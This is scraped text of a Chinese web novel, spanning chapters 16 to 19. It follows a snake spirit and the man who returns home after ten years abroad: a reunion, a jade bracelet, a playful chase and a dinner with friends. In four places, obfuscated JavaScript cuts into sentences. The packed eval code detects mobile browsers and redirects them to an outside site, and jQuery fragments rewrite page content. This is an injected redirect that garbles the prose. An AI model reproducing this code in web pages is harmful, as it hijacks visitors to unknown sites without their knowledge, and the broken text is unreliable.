他换好衣物,雨日难得惫懒不想完全化人,便半人半蛇,游出房间。 初夏水雾弥漫的天气,并无闷热,气温正合适水涟这条蛇,他倚在二楼栏杆,蛇信轻吐,却捕捉到水汽之外的一些气息。 黑色的尾尖轻勾,水涟缓缓游下楼梯,神情在靠近会客厅中,逐渐变得淡然。 有人坐在会客厅的长椅上,年轻男性,黑发大抵用了发胶,服帖规整,却有一角不服管教,冒出桀骜不驯的发梢。 骨节分明的指间夹着一支烟,红光微微闪烁。 白烟自他面前升腾而起,越过头顶,轻轻消散开。 水涟蹙了蹙眉,悄无声息游行至年轻男人身后,白皙修长的手从旁伸出,夹走了那支烟。 “你——” 男人回过头,不耐烦开口,却只说了一个字便卡壳。 水涟指间轻弹,熄了那烟,垂眸轻飘飘注视他:“别抽烟,我不喜欢。” “我一回来你就要管上我了,管家公?” 蔺雨洲眉梢轻挑,眉宇间不耐烦顷刻间消了个干净,他唉声叹气的,像是受了天大委屈:“真伤人心,也不知道某个小混蛋有没有把我忘了,我回来也不接我。” “抽烟伤身。”水涟依旧神色冷淡,多解释了一句。 听完蔺雨洲的胡说八道,他随手将燃了一半的烟丢进烟灰缸,蛇尾轻摆坐到蔺雨洲对面的长椅上:“某个小混蛋可不如某个大混蛋默不作声。” 蔺雨洲啧啧称奇:“越来越牙尖嘴利了。” “比不得你巧舌如簧。” 蔺雨洲乐了:“哟,不是文盲了,还会说成语了啊?” 水涟的视线蜻蜓点水般掠过他褪去青涩,越发英俊性感的面容,轻笑一声:“你都肯下功夫读书,我怎么敢落你后头。” 蔺雨洲心说,得,还在生气。 他知道自己一再推迟回国时间,绝对会被水涟这个小心眼的家伙记仇。他让蔺河生探口风,探出来一句“蔺雨洲你大概完蛋了”,就知道要遭。 今天特意回来,其实是想给个惊喜,至于为什么不上楼坐在会客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289300|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅抽烟,因为还没琢磨出哄人的法子。 蔺雨洲从小长到大,只有水涟一个要哄的对象,这十年又在国外,哄人功夫半点没见长。 他换了个坐姿,不动声色去打量水涟。 过去彼此都太忙,他们打视频也是匆匆带过,其实很少有机会这么观察对方的面容变化。 水涟和他印象里那根豆芽菜完全不同了。昔日的妹妹头换成了长发,柔顺垂在身后。 面容长开后,五官比例再也没有小时候的不协调。一双暗紫色眼瞳流光溢彩,远比他在拍卖会见过的宝石要璀璨夺目。 眉骨鼻梁线条,每一处转角都严丝合缝恰到好处,雨天略暗的光线里,微敛的睫羽投下冷色的阴影,反衬出眉眼的绮丽。 的确生了张漂亮的脸蛋。 就是…… 蔺雨洲琢磨半天,视线飘到水涟长衫下的蛇尾,抿了抿唇,眼底划过一丝震撼。 这小混蛋在他不在的时候吃了什么东西,那条尾巴怎么粗了这么多?! 水涟幼年拿尾巴抽他,顶多虎口有红痕,现在拿尾巴抽他,蔺雨洲不知道自己还有没有命在。 水涟给他的保命符有用么? 他的视线盯着那条粗/壮的蛇尾,就见黑色的尾尖开始慢慢拍打地面,越来越不耐烦。 蔺雨洲猛然一回神,一抬眼,就见水涟面无表情瞧他, “看什么。”蛇妖眉眼冷淡,蛇尾又拍了拍地面,拍的动作里,甚至能听见划破空气的响声。 蔺雨洲:“……” 他挠挠鼻尖,忽然福至心灵来了句:“看你漂亮。” 水涟:“……” 蛇妖的眼睛缓缓睁大,耳廓花开了似的漫上浅红。 他忍了一会儿没忍住,难以置信道:“蔺雨洲,你有病吗?” 熟悉的内容,熟悉的语气,蔺雨洲想也不想直接张口:“你骂人能不能有点新意,骂来骂去就这一句。不过要让你失望了,你爹我没吃药,身体一如既往健康结实。” “……” “……” 会客厅内忽然安静下来,只听得微弱雨声。 “咳咳。”蔺雨洲咳了两声,若无其事道:“怎么不说话了。” 水涟气极反笑:“你想听我说什么?” “我想听什么你都说?”蔺雨洲来了兴致,“能不能说哥哥其实我很想你你不在的时间我度日如年简直思念成狂睁眼是你闭眼是你只期待你早日回家?” 又是熟悉的长难句,水涟垮着一张脸,冷笑两声:“你想多了。” “啧,讲点甜言蜜语会要你的命吗?”蔺雨洲不太高兴,不满道。 “你讲也要你的命。”水涟又不是不知道他是什么样的人,开口驳斥他。 “那可不一定。”蔺雨洲得意洋洋,揣着什么东西坐到他身旁,水涟瞧了眼他俩之间亲密无间的距离,往一旁挪了挪。 蔺雨洲毫不在乎,以为他在给自己让位,格外自在又往水涟那儿挤了挤。 他打开揣着的盒子,拽过水涟的左手,把东西套进了水涟的手腕。 “参加了一场拍卖会,瞧见这个总觉得应该衬你,直接拍下来了。”蔺雨洲满意地看着他手腕上的玉镯,“没看错。” 他的小拇指勾上水涟的,探头同水涟对视,轻声道:“心肝,别同我生气了,好不好?” 17.第 17 章 “轰!” 拉钩动作保持依旧,水涟头顶像是被投了颗炸弹,冒出朵粉红色的蘑菇云,他吱呀扭过头,瞧见蔺雨洲轻歪头看他,笑意盈盈。 他实在有副占了便宜的好皮相,分明在献殷勤,却做得潇洒风流。 勾住水涟的小拇指晃了晃,蔺雨洲柔声道:“理理我?” 水涟猛地收回手,皱着眉看他:“轻浮。” 蔺雨洲这人向来是别人退一步,他就进十几步,尤其在面对水涟的时候,这毛病发作次数几何倍数增长。 一旦水涟退了,他就顺杆子往上爬,攀登技术登峰造极:“送个礼就叫轻浮了?心肝,你评价人的要求未免太高。” 水涟年纪小,尚未进化出厚脸皮,被他一句话堵回去,只能冷脸斥他:“别那么叫我。” 蔺雨洲在心里暗笑,只觉得水涟越发好玩,怪不得长辈那么爱逗小孩,只不过面上一点不显。 他这十年学来最多的大抵就是控制神态,喜怒不形于色,尽量不让心思浮于脸上。 “行,那我不这么叫你,问你送的礼满不满意,总成了吧?”蔺雨洲身心全放松,鞋尖抵着水涟的蛇尾,有一搭没一搭用小腿去蹭。 水涟微微抬起手,瞥了眼左手腕上的翡翠手镯。他不怎么懂玉石,只知道一点什么“种水”。 但他打一眼看去,就觉得这镯子漂亮,紫色浓郁,自然光下清透,连点杂质都没有。 “很漂亮。”沉默许久后,水涟诚实回答,夸道:“你眼光很好。” 蔺雨洲朝他摆摆手,那意思“太客气了”,水涟抬眼瞧他,觉得他大概是想表现自己谦逊,无奈做不到,于是混合出一个微妙的骄傲神情来。 水涟就这么看他演了出默剧,正色道:“你再等我一会儿。” “等什么?”蔺雨洲不知道他的话题怎么跳跃的,茫然问道。 “水涯。”水涟一本正经道,“我暂时没有礼物送给你,等我找到水涯,我把他的脑袋和蛇皮带过来给你。” 蔺雨洲:“……” 他咋舌看着水涟,又听这血腥残暴的蛇妖继续道:“你可以拿来做包。” 水涟略略思索,谨慎评估水涯的原身大小,拿出这十年优越的人类数学学习成果:“考虑损耗和拼接,你大概能做二十只左右的蛇皮包。” 蔺雨洲下意识表示惊讶:“……他的皮这么大?” 水涟点点头:“我会完整剥下来给你。” 蔺雨洲咽了口唾沫,比了个中止的手势:“太谢谢了,这件事暂时放一边。” 会客厅因他的话和举动,像是被突然按下静音键,一时间只能听见他们彼此的呼吸音。 重逢有很多话可讲,不过分离的岁月太漫长,没有见证对方的成长变化,聊天总会带有隔靴搔痒的色彩。 太亲昵的关怀总觉得不合适,太生疏的问话又显得格外客气,于是双双保持沉默,突然卡壳。 黑色尾尖在空中打了个卷,仿佛捕捉到什么有趣的气息,缓缓贴近男人自在的小腿,又轻又慢地圈住了脚踝。 蔺雨洲被尾尖的动作打扰,低下头,他蹭着水涟的尾巴,水涟的尾巴勾住他。 他抬起头,坏笑道:“这不是挺想我的嘛,那么害羞做什么,一句话都不讲。” 水涟也没料到尾巴抢先背叛他,下意识收回来,那尾尖还恋恋不舍,在空中打卷的弧度都显得缠绵悱恻。 “没有,别多想。”他对上蔺雨洲似笑非笑的神情,开口道,“你吃了没有?” 蔺雨洲长臂一伸垫在水涟身后,伸了个懒腰:“吃过了。倒是你,今天怎么起那么迟?我回来那会儿周伯说你还在睡。” 水涟面不改色道:“昨天研究资料忘了时间,多睡了会儿。” 厨房一向全天到晚都备着吃食,水涟下午起床,也有垫肚子的下午茶。他腹内空空,便起身去餐厅吃他的点心。 蔺雨洲嘴上说用过午饭,实际也只是草草应付过去的一顿,见水涟吃东西,忽然觉得又饿了,落座一同用餐。 下午点心甜食居多,也有咸口。水涟昨天说想吃煎包,厨房大抵记着,给他端上来一碟煎包,并一碗酒酿圆子。 他这些年学的东西实在多,用餐习惯也大有变化。 幼年时期狼吞虎咽的模样在如今的他身上已经找不到踪影,狼狈与瘦弱两个形容词落到他头上,仿佛是上辈子的标签。 蔺雨洲拈了块盘里的枣泥山药糕,支着脸打量安静吃饭的水涟。 从持餐具的手,再到慢条斯理的动作,他想,的确和以前不一样了。 蔺雨洲在心里遗憾地叹了口气,总有种说不上来的情绪。 枣泥山药糕在口中抿开,甜味从舌尖一路奔跑跳跃至喉咙。他默默推开面前那碟糕点,视线落在水涟碗里的芋泥酒酿圆子上。 “我怎么感觉你那碗好吃些。”蔺雨洲定定看着水涟把那勺圆子送进嘴里,摸着下巴无端揣测。 水涟咀嚼的动作一顿,忍不住去推蔺雨洲这话里到底什么意思。 还没推完,就见蔺雨洲直接从他碗里舀了一勺,特别不客气。 他的眉间蹙起,看向蔺雨洲的眼神微妙:“你今年多大了,还会隔碗香。” “也没多好吃啊。”蔺雨洲勉强把那玩意儿咽下去,“你怎么净爱吃这种又甜又腻的东西。” “一条蛇,口味还挺稀奇古怪。” 水涟缓缓收紧握住餐具的手,瞥了眼左手腕上的翡翠镯子,心说吃人嘴短,拿人手软,实在该忍着。 这翡翠镯子一看就是贵货,砸坏了,不大好。 但是心里又有道声音怂恿他,说你已经不是八岁,现在可以把蔺雨洲按在地上打了。 八岁那会儿打不过人,只能咬人吐人身上,现在快十八岁,反制对方岂不是易如反掌? 小时候挨饿次数太多,水涟没养成浪费食物的毛病。 他两口并作三口把那一小碗酒酿圆子迅速且文雅地吃干净,又解决仅剩的两个煎包,吞咽结束后站起身,对蔺雨洲道:“我现在不会吐你身上了。” 蔺雨洲眨眨眼,几秒后突然反应过来他的话是什么意思,猛地下桌离开椅子,迅速在餐厅内逃窜。 追人和被追的终于调了个个儿。蔺雨洲扭头一看,水涟哪像以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298930|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一样慌不择路,蛇尾轻摆,呼吸都能贴上他的后颈,幽魂似的。 那双暗紫色眼瞳呈竖针状,完全是蛇类正在捕食的前兆。 “气性也太大了吧!”蔺雨洲单手一撑,翻过桌面,和水涟隔着张桌子对峙,“至于追我那么凶吗?” 他身上还穿着西装,活动竟也能做到十七岁那会儿的游刃有余。 水涟整理袖口,探身和他对视:“你以前也没少追我。” “小心眼。”蔺雨洲低声嘀咕,就见水涟双手撑着桌面,身躯似乎在隐隐发力,眼底更是流露出一丝兴味盎然。 谁家养蛇还要陪蛇玩捕猎游戏的? 蔺雨洲暗骂一句,扯松领带,转头就跑。 水涟见他突然就跑,反而放慢速度,目光紧紧跟随蔺雨洲的动作。 视野内,蔺雨洲的动作像是放慢倍速,每一次起伏的呼吸他都能看清。 流动的空气为他送来温度与方向,长衫之下的蛇尾紧绷,在蔺雨洲下一刻的回头里,水涟突然蹿到了蔺雨洲的身后。 他贴着男人紧实的后背,粗壮的蛇尾沿着小腿向上缠绕,直到完全绞住蔺雨洲的腿。 水涟挺直身躯,手臂横亘在蔺雨洲颈间,从后方圈牢他。 他只化了半身,缠绕蔺雨洲的动作却像完整的一条蛇。 “你跑的比以前要慢,我能轻松抓住你。”水涟歪着头,长发擦过他的耳廓。 他又往下低头,在猎物的颈侧轻吐蛇信。 蔺雨洲的气息也和以前不一样了。就像暖洋洋闹哄哄的味道里多了点冷冰冰的雨丝,有些扎人。 “味道不一样。”水涟语气慢吞吞,多了点不快。 他缠住蔺雨洲的力道又大了几分,找不到缘由的饥饿感在这个时候再次冒出头,空荡荡的胃,让他张开嘴巴,獠牙毕露。 “玩游戏就玩游戏,这么凶做什么?”蔺雨洲费劲巴拉扭过头,手一抬,啪一下合上水涟的血盆大口,“又冲我哈气。” 水涟眼里的凶性叫他习惯性的一手清除干净,眼睛都多了几分清透。 蔺雨洲倒觉得怪好玩,把他垂落的长发撩至耳后,方便看清那张漂亮脸蛋:“味道哪儿不一样?” 水涟绞着他没放,有点呆地回答他:“很刺人。” 蔺雨洲拧过头闻自己:“这什么鬼形容,刺人的话只有烟味啊。我抽得也不凶,你不喜欢我戒了。” 水涟的眼珠轻轻转动,盯住他叨叨不停的嘴巴。 饥饿感泛滥。 “你这一会儿嘴硬不想我,一会儿又死命缠着我不放表达想念。”蔺雨洲还在叨叨,碎嘴子一个,“想念太汹涌了,尾巴松松,我要喘不上气了。” 水涟的蛇尾慢慢放松,从他腿上游下来,逐渐和他拉开距离,古怪地打量他。 蔺雨洲撩起裤腿看了眼,水涟那尾巴真该列进管制武器名单,红痕一道有一道。 他看完一抬头,水涟不知道何时又和他拉开一整张长桌的距离。 蔺雨洲吓了一跳:“还玩啊?” 水涟已经收敛所有情绪,面无表情看着他:“蔺雨洲,你好讨厌。” 18.第 18 章 水涟越大越阴晴不定,蔺雨洲压根猜不中青春期蛇妖的敏感心思,只好悻悻扯掉领带,望着水涟回房间的背影大喊:“又生我气啊!” 他边喊边寻思自己青春期那会儿也没像水涟这么难搞,他还是挺好相处的。 水涟头也不回,尾巴特别不耐烦地抽了下地板。 破空声是明晃晃的威胁,蔺雨洲对上他心理年龄自动减十岁,闻声又喊了句:“我哪儿招惹少爷你了?” 水涟猛回头:“你好烦。” 他不高兴的时候蛇瞳很是明显,吐蛇信的频率直线上升。蔺雨洲瞧他生气,情不自禁吹了个口哨,一副正统流氓做派。 水涟鳞片都快炸出来,直接不搭理他,回房间闷着了。 蔺雨洲心情愉快,掏出手机,优哉游哉回复几个好友晚上的聚餐邀约,混不吝去庭院喂锦鲤。 二楼房间内,水涟心烦意乱盘在书桌前,去翻整理出来的资料,还是找不到饥饿感产生的来由。 这种饥饿感他八岁时第一次清醒变蛇,面对的水涯时都产生过,他后来将这种饥饿感总结为对力量的渴望,一种强烈的欲想。 随着他对力量的拥有和掌控,其实饥饿感出现的频次已经降低不少,只有很偶尔的时刻才会悄悄冒出头,提醒他一下。 然而方才在楼下绞住蔺雨洲时,饥饿感几乎是如同滔天大浪般打过他的身躯,空荡荡的胃发出信号,从骨缝里升腾而起的强烈渴望。 他烦躁地翻过几页资料,什么都没有,能给他带来安定感的文字一无是处,不过几秒就从纸上抽离,在空气里扭曲出三个大字:蔺雨洲。 水涟砸了手里的纸,游到床边,挑开一侧窗帘。 他的房间靠近蔺雨洲的,光线充裕,窗户外是庭院园景,对着锦鲤池。他心烦气躁的时候就爱站在窗前看景,能平和心情。 雨天伴随雨声,再大的烦忧都能叫雨水洗刷干净。 水涟深吸一口气,视线跟随玻璃窗上雨水蜿蜒的痕迹,轻飘飘的,就那么落在了喂锦鲤的人身上。 那人也就只能瞧见半个身子,面容叫雨雾模糊,只见得些许线条,可还是能让水涟一眼认出。 混账玩意儿戏耍他结束,又去戏耍那满池倒霉的锦鲤。喂食相当随意,吊着鱼不放,时不时撒一点,引得满池鱼哄抢。 没过几秒,又放了个空,指尖有一搭没一搭地勾,凭空想把鱼勾上来。没脑子的鱼当真凑上去,只得漫天雨水入口。 水涟用完茶点的胃又空空,五脏六腑起火似的烧,恨不得从那只手起,将人整个囫囵吞下肚,才好填满那点空。 他的呼吸坏了雨声的平和稳定。 水涟侧过脸,玻璃窗上映出他似蛇似人的脸,唇角已经裂开至面颊,像只妖异的野兽。 他猛地拉上窗帘,骤然明白那股饥饿感的缘由。 比起对力量的渴求,更像是食欲。 蛇尾绞上身躯,雨雾里变形的面孔。他定定地盯住蔺雨洲的那一刻,是真的想将他拆吃入腹。 水涟脸色几番变化,玄色长衫之下的蛇尾缓缓扭曲变形,化成两条腿。 他缓和了神情,往镜子里看去。野兽的特征从他身上消褪,他从蛇变成人。 — “家里化蛇尾不是自在么,又变腿了?”蔺雨洲整理腕表,抬眼瞥见水涟长衫下一双腿,问道。 水涟把自己闷房间里闷了两个小时,找不出来想吃了蔺雨洲的原因,又打开了房门。 他站在不远处观察蔺雨洲,道:“这样方便。” 蔺雨洲闻言又瞧了瞧他的腿,心说你那尾巴蹿得比我跑得快,还能拿来抽人打架,方便得要命,哪来麻烦。 他拍拍手,说:“行,你的自由。” 水涟打量他整理衣着的动作,才反应过来他要出门:“你要去哪儿?” “不久前还和我生气,现在又查我岗?”蔺雨洲双手抱臂看向水涟,似笑非笑道,“回国和几个朋友聚聚,不会很迟回来,不用这么紧张我。” 水涟眼不见为净似的闭上眼:“没紧张你。” 数秒后他又睁开眼,古怪问道:“你还有朋友?” 他印象里蔺雨洲一直和他待在一块儿,就没见到过他和朋友相处,手机上打字打得飞快,现实里,蔺雨洲似乎也没有邀请过朋友来蔺家。 蔺雨洲满脸无语,走到他跟前掐了把他的脸:“水涟,在你心里我究竟是个什么形象,还不至于连个朋友都没有吧?再说了,在外头十年,总不可能真和孤僻症——” 他话说一半,像是突然想起什么,若无其事拐了个话题:“你没和朋友出去聚一聚?” 水涟神色平静:“我没有朋友。” 蔺雨洲:“……” 他后知后觉想起水涟在他出国后没有再去学校上课,一直是蔺家请老师上门为他授课。 水涟作为蛇妖的身份让他很难和陌生人搭建关系,在人间生活过的长久痕迹又为他融入妖界这件事增添困难。 他的关系网简单到一只手就能数得过来。 蔺雨洲摸摸鼻子,纠结大半天,才别扭憋出来一句:“晚上和我一起去?” 老实讲,他其实不大想把水涟介绍他的友人。 身份上很好解释,内心那关过不太去。 他对水涟就像小孩对待得之不易的宝贝玩具,只能放家里看,绝对不能带出去让别人看到。 水涟看着他变幻莫测的神情,本想说不去,但瞧见他脸上神情翻三番,紧张纠结不情愿,他又乐意了:“好。” 蔺雨洲脸色顿时沉了下来,明晃晃写着两个大字“不爽”。 他不爽水涟就高兴,于是回话又多了分真情实感:“我和你一起去。” 蔺雨洲郁闷得要命,就开始挑水涟的刺:“你就穿这身去?” 水涟人身身高已经和他持平,换上鞋子甚至比他还高了一点点。他面无表情注视蔺雨洲,忽然扬了扬嘴角:“你管我。” “……” 蔺雨洲先是叫他罕见的笑容震一震,紧跟着怨气冲天开口:“死小子真叛逆,伤透我心。” “我可以帮你掏出来检查有没有受伤。” “你能不能别动不动就这么凶残。” 蔺雨洲最终没有打消水涟不去的念头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15304578|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只得带着他一起参加朋友聚会。 大少爷好友不多,算上出国后认识的,拢共也就四个。 地方是他发小严瑾澜定的,也就安生吃个饭,蔺雨洲并没详细问。 等真到了地方,他往旁边一瞥,水涟的脸色不大好看。 “怎么了?”蔺雨洲只当他身体不适,问道。 水涟皱皱眉道:“很吵,很乱。” 他的五感比人类要强上几倍,很多细微的动静都能捕捉到。 蔺雨洲糙人一个,什么也没听见,勾住他一缕长发卷着玩:“你就是想太多。” 水涟懒得搭理他的评价,只知道他手欠的毛病十年如一日,还是喜欢弄乱他的头发。 蔺雨洲也就玩了一会儿,甚至还把他的头发理顺才放下。 他打开包厢门,扭头和水涟道:“他们挺好相处的,要嘴欠了你和我讲,我骂回去。” 水涟心想再嘴欠大概也欠不过你。他看向包厢内,几张漂亮脸蛋齐齐转过头,活像满室鲜花争奇斗艳。 蔺雨洲睁大了眼,以这辈子最惊慌失措的模样,手忙脚乱关上了门,将那堆鲜花全挡在了门后。 他沉默地和水涟对视,寂静在他们之间流淌。 水涟眨眨眼,不知道他那么慌乱做什么:“你朋友还挺多。” 细听话里甚至有几分羡慕。 蔺雨洲呵呵一笑,对他道:“没事,你以后也会有很多朋友。” 他在心里咬牙切齿,把严瑾澜喷了个狗血淋头,祖宗十八代才骂了三代,身后的包厢门又被打开。 严瑾澜站在门口,莫名其妙道:“你开门又关门干嘛?” 他一抬眼,瞧见蔺雨洲身旁站着的水涟,惊道:“嚯,把你家童养夫带出来了啊?” 水涟:“?” 蔺雨洲:“……!!!” 挨骂对象登场,他拽住严瑾澜衣领,直把人拽到离水涟一米开外,压低声咬紧后槽牙:“你脑子有病是不是?” 严瑾澜只觉得自己极其无辜:“不是,我又怎么你了?” “不是说就我们五个吃顿饭吗?”蔺雨洲想起严瑾澜信誓旦旦的保证,恨不得把他头锤通:“你刚刚还在那里乱叫什么东西。” 他瞥了眼远处好奇的水涟,只希望蛇妖那见鬼的听力听不见他在说什么。 严瑾澜被他拎着衣领,像根面条来回抖:“我哪里知道你会把他带过来啊?你不把他当宝贝藏家里吗?” 蔺雨洲没好气道:“他不大爱出门,带他出来一次。谁知道你搞这出,他成年生日还没过!” “还有,童养夫个屁,我把他当儿子。” 他一巴掌拍在严瑾澜背后,把人直直拍个趔趄。严瑾澜呛了两声,道:“你俩差多大啊就当儿子,也不看看人家乐不乐意。” “你管他乐不乐意。” 蔺雨洲痛击损友,就见这混蛋喘匀气儿,一把勾住他肩膀,笑得和奸臣贼子似的:“你确定你是真当儿子?” 水涟扭头看向他们,视线幽幽飘来。 蔺雨洲撕开严瑾澜手臂,躲开水涟寡淡的视线,面不改色:“真当。” 19.第 19 章 蔺雨洲把整个包厢翻来覆去检查了个遍,才愿意让门口等着的水涟进来。 他和严瑾澜说了什么,水涟其实听得一清二楚。但他能看清蔺雨洲的神态,应是不大想让他听见,于是他垂首低眉,装作万事不知。 “他们做过火了,我也没想到会这么闹。”蔺雨洲站在他身前,很难得带了些许不好意思。 水涟静静看那些漂亮的面孔规矩离开包厢,又听见他们口中轻微絮语,再懵懂也明了那是什么人。 原来并不是朋友。 他默不作声瞄过蔺雨洲全身,二十八岁和十七岁的确大不相同。十年时间让单薄清瘦的肩背变得宽阔有力,衬衣勒出一截紧实窄腰,已然从少年越向成熟。 插科打诨时照旧能窥见少年时代的影子,可再一细看,又觉得不大相似。 水涟收回目光,沉郁从眉眼处泛起,又叫平日惯爱用的冷淡强行压了下去。他缓缓进门,暗紫色眼眸扫过包厢内正襟危坐,装出正经模样的四个人类。 卓越的五感为他送来无数信息,他细细分辨后,都不是什么叫蛇舒适的味道。 蔺雨洲在他身侧,拿手肘顶了顶他:“饿了?” 他贴着水涟,身上那股暖烘烘的味道盖过那些难闻的气息,叫水涟的感知都舒服不少,连带火烧般的食欲也一并涌上来。 年轻的蛇妖轻轻点头,应了他的话:“嗯。” 蔺雨洲悄然松了口气,知道他是饿了不开心,当即大手一挥要人上菜,嘴上又半点不饶人,逮着严瑾澜骂:“能不能安生点,净给我找事儿干,吃个饭都能整出乱七八糟的东西。” 严瑾澜见到他开始就在挨骂,又听他骂得如此克制,眼神一转,落到水涟头上,赶忙祸水东引:“你还带了客,不介绍介绍?” 蔺雨洲一滞,不情不愿的:“水涟,家里人。” 严瑾澜朝他坏笑,打趣他:“哪种?” 蔺雨洲往他小腿踢了脚,笑骂道:“你没完没了了是吧?家人,还能怎么着?” 水涟感觉得出来他们对话有潜台词,但他对人类一些奇怪的情感和话外之音实在理解不到位,只好勾了勾唇角,朝严瑾澜打招呼:“你好。” 他生了张冷若冰霜的面容,平日不大爱笑,可一旦露了笑,那张脸便是春至雪融,素净冷淡的眉眼登时活了过来,山水墨画里添一抹浅红。 严瑾澜心下讶异,瞟见蔺雨洲看人笑脸微微发怔的模样,又啧啧称奇。 还儿子呢,人自个儿都五迷三道,找不着北了。 “诶你好,我姓严,严瑾澜。”严瑾澜忙不迭回应,又道:“早听蔺雨洲说他有位一同做行为艺术的小朋友,百闻不如一见。” 前面的形容词他琢磨了半天才说出口,怎么讲都觉得不合适,有股轻浮的味道,只好换成“病友”,说完自己都没绷住,先乐了。 蔺雨洲已经懒得和他讲话,把剩下三个人搂过来介绍给水涟:“戴眼镜的,李闻生,穿得跟孔雀开屏一样的叫许知修,呆头鹅似的是江寂。” 几个被起外号概括特征的人顿时不满,直骂他嘴上不饶人。 蔺雨洲长臂一伸搭着水涟的肩,不想搭理他们,和水涟咬耳朵:“以后出去要被人欺负,让他们给你出头。但我估计也没人胆子大到得罪你,我又不是死人。” 蔺雨洲摸着下巴思索片刻,想起水涟头回上学那会儿,放学路上问他被人围住问问题怎么办。 这条蛇就是个窝里横,出去指不定怎么可怜。这么一想,他还是重点强调了一遍:“挨欺负要说,知道没?” 水涟垂眸看了眼他搭在肩膀上的手,没提醒他自己是有妖力的蛇妖,寻常凡人根本“欺负”到他头上,倒不如说,还未近身就能叫风刃扇出十里地。 他只是很乖巧地答应蔺雨洲:“好。” 蔺雨洲猛一回头,见鬼似的瞧他。水涟抬眼同他对视,一双妖异眼眸清透干净,细看竟能感觉出无辜清纯来。 蔺雨洲:“……” 在家里怎么不见给他好脸色看? 一通介绍完落座,菜也上齐,水涟坐在蔺雨洲身边,忽地偏过头,在他耳侧轻声问:“童养夫是什么意思?” 他声音压得极低,几乎是一阵细微暖风扫过蔺雨洲耳廓。蔺雨洲被他一说耳朵发痒,听清什么话后,入口的茶险些喷出去:“咳咳咳咳……你问这个做什么?” 反射弧迟缓到现在才反应过来? “只是好奇。”水涟指尖轻点,不动声色将他的茶杯扫远了些,“我听严哥这么讲,很好奇。” “才见一面就叫严哥了,你还挺有礼貌。”蔺雨洲看眼对面热热闹闹的严瑾澜,啧了声,在桌下不大高兴踢了他椅子一脚,后者抬头,无辜地指指自己:又我? 水涟觉得他阴晴不定莫名其妙的,皱了皱眉:“不是你让我要有礼貌么?” 人类社会讲求礼仪,有些东西还是蔺雨洲自己教给他的,现在又让他不要说,岂不是前后冲突了。 蔺雨洲拿这条蛇没办法,摆摆手道:“算了,别问,那个词什么意思你也别问,就当不知道,成吗?” 水涟特别安分地答应他,转头预备拿手机查一查。 他又不是没接触人类的网络,这点东西都查不到就奇怪了。 饭桌上气氛格外和谐,大概顾忌有水涟这一个未成年在,还有个虎视眈眈,只要听见不合时宜的话就发起审判的毒舌蔺雨洲,严瑾澜他们说话很是克制。 水涟倒无所谓他们在聊什么,吃饭吃得挺高兴。 他本来就在生长期,食量大,没他什么事儿后就一直在埋头苦吃,蔺雨洲夹菜的速度都跟不上他吃饭的速度。 “雨洲,你待人不大好啊。”许知修朝蔺雨洲抬抬下巴,调侃道。 蔺雨洲还没张口,水涟已经咽完文雅说道:“没有对人不好。” 他反驳的神情认真,透着纯天然的正气。许知修微微后仰身,对他忽然冒出头的天真感到惊奇,立马和他赔罪:“我的错,不该这么说。” 蔺雨洲笑容得意,严瑾澜朝他挤眉弄眼,换来个隐晦的中指。 这群人在搞眉眼官司水涟没注意,他放下筷子,眉眼间是看不大出来的心满意足。 蔺雨洲抽空瞟了他一眼,那双眼睛微微眯了眯,是吃饱了高兴的意思,于是收回给他夹菜的手,转头和损友们胡说八道。 严瑾澜开了话匣子,说起他女友这段时间出差,把猫寄养在他家的事。 他口才好,讲话眉飞色舞,和看戏似的。水涟支起耳朵听他说话,对那只狡黠聪慧的猫产生了兴趣。 “我每次去她家那猫就来咬我,炸毛拦着,不让我进去。这两天被迫住我家,整天凄惨乱叫,她一打视频来,那猫就对着视频特别幽怨,忙着卖惨,搞得好像我虐待它了。” “你手欠欺负它。”江寂慢悠悠飘过去一句,非常笃定是严瑾澜的问题。 严瑾澜只想叫屈:“这能是我的问题吗?我可真把它当皇帝捧着。你们是不知道楚臻怎么对它,我每次见到她吸猫我都害怕,张个血盆大口,都快把猫吃了,那猫都不跑。” 水涟耳朵动了动,好奇问道:“吃了?” “夸张说法。她还是很爱她的猫的,就是觉得太可爱了,所以想把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 